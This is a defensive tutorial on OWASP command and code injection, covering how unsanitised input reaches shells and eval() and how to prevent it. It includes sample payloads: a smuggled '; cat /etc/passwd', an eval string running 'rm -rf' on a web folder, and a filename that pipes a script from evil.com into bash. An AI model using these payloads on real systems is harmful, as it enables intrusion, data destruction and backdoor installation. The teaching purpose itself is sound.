OWASP Command and Code Injection
Command injection and code injection are part of the A03 Injection category in the OWASP Top 10. When an application passes user input to the operating system or an interpreter without checking it first, an attacker can run their own commands directly on the server.
The Restaurant Order Analogy
Imagine a restaurant where a waiter takes your food order and reads it aloud to the chef. The menu says choose a dish. Instead, you say: "Pasta — and after that, give me the keys to the kitchen." The waiter reads it all without filtering. The chef hands over the pasta and the keys. That is command injection — extra instructions smuggled into a legitimate request.
OS Command Injection
Many applications call operating system commands to do tasks like pinging a server, resizing an image, or sending an email. When they include user input in that command string without validation, the attacker appends extra commands.
Application purpose: Ping a server the user specifies
Normal input by user:
192.168.1.1
Command the app builds and runs:
ping 192.168.1.1 <-- works as expected
Attacker input:
192.168.1.1; cat /etc/passwd
Command the app builds and runs:
ping 192.168.1.1; cat /etc/passwd
| |
| +-- Also runs: prints out all system usernames
+-- Normal ping
The semicolon separates two commands.
Both run on the server.
Common Command Separators Attackers Use
; Run the next command after this one && Run the next command if the first succeeds || Run the next command if the first fails | Pipe output of first command into second ` Execute what is inside the backticks $() Execute what is inside the parentheses
Code Injection
Code injection is similar but targets the application's programming language interpreter instead of the OS. If an application uses functions like eval() to execute strings as code, and user input reaches those functions, the attacker injects application-level code.
Vulnerable Python example:
user_input = request.get("formula")
result = eval(user_input) <-- Executes whatever the user types as Python code
Attacker sends:
__import__('os').system('rm -rf /var/www/html')
The server deletes the entire website folder.
What an Attacker Can Achieve
Read sensitive server files (/etc/passwd, config files, private keys) Create or delete files (deface the site, destroy data) Install malware (backdoor, cryptominer, botnet agent) Exfiltrate the database (copy data to attacker's server) Take full server control (root shell access)
Real-World Impact Example
Company: Image processing web app Feature: User uploads image, app runs a command-line tool to resize it Attacker uploads a file named: vacation.jpg; curl https://evil.com/backdoor.sh | bash App runs: convert vacation.jpg; curl https://evil.com/backdoor.sh | bash Result: Attacker's backdoor script installs on the company server.
How to Prevent Command and Code Injection
1. Never Pass User Input to System Commands
Redesign features that call OS commands. Replace shell calls with equivalent library functions that do not invoke a shell at all.
Avoid: os.system("ping " + user_input)
Use: subprocess.run(["ping", user_input], shell=False)
With shell=False, each argument is passed separately.
The OS treats them as data, not commands.
Semicolons and pipes cannot chain extra commands.
2. Never Use eval() on User Input
Remove eval(), exec(), and similar dynamic execution functions from any code path that touches user data. If you need dynamic behavior, use a controlled lookup table instead.
3. Allowlist Input Validation
If a field expects an IP address, accept only digits and dots. If a field expects a filename, accept only alphanumeric characters and a file extension. Reject everything else.
Good allowlist for IP address:
Pattern: ^(\d{1,3}\.){3}\d{1,3}$
Accepts: 192.168.1.1
Rejects: 192.168.1.1; cat /etc/passwd
4. Use Least Privilege for the Application Process
The web server process should run as a low-privilege user. If injection happens, the attacker inherits only those limited permissions — they cannot read sensitive system files or install software.
5. Disable Dangerous Functions in Production
In PHP, disable exec, shell_exec, system, and passthru in php.ini unless the application genuinely needs them.
Quick Prevention Checklist
[✓] Replace OS shell calls with library equivalents [✓] Pass arguments as arrays with shell=False [✓] Eliminate eval() and exec() from user-facing code paths [✓] Validate input against a strict allowlist [✓] Run the app under a least-privilege OS user
Key Takeaway
Command injection gives attackers direct access to your server's operating system. The defense is simple: never mix user input with shell commands. Use library functions that separate commands from data.
